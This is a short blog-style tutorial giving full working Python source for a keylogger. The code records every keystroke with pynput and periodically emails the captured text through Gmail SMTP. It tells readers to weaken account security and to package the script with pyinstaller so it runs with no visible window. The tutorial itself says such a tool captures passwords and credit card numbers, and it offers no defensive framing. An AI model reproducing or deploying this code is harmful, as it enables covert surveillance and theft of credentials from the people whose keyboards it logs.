25
How I build python keylogger
A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a keylogger in Python.
You are maybe wondering, why a keylogger is useful ? Well, when a hacker uses this for unethical purposes, he/she will gather information of everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.).
First, we gonna need to install a module called pynput, go to the terminal or the command prompt and write:
pip3 install pynput
This module allows you to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more.
import logging #for logging to a file
import smtplib #for sending email using SMTP protocol (gmail)
from pynput.keyboard import Key, Listener #for keylogs
from random import randint #for generating random file name
If you are to report key logs via email, then you should set up a Gmail account and make sure that:
- Less secure app access is ON.
- 2-Step Verification is OFF.
output = '3ke' + str(randint(0, 10000)) + '.txt'
log_dir = ""
logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')
email = '[email protected]'
password = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 60 #set how many charcters to store before sending
def on_press(key, false=None):
global word
global full_log
global email
global email_char_limit
logging.info(str(key))
if key == Key.space or key == Key.enter:
word += ' '
full_log += word
word = ''
if len(full_log) >= email_char_limit:
send_log()
full_log = ''
elif key == Key.shift_l or key == Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char = f'{key}'
char = char[1:-1]
word += char
if key == Key.esc:
return false
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
To convert it to executable file using pyinstaller:
pip install pyinstaller
Then navigate to the project directory of the main py file with cmd and run this code
pyinstaller --onefile -w 'fileName.py' #-w for no console
25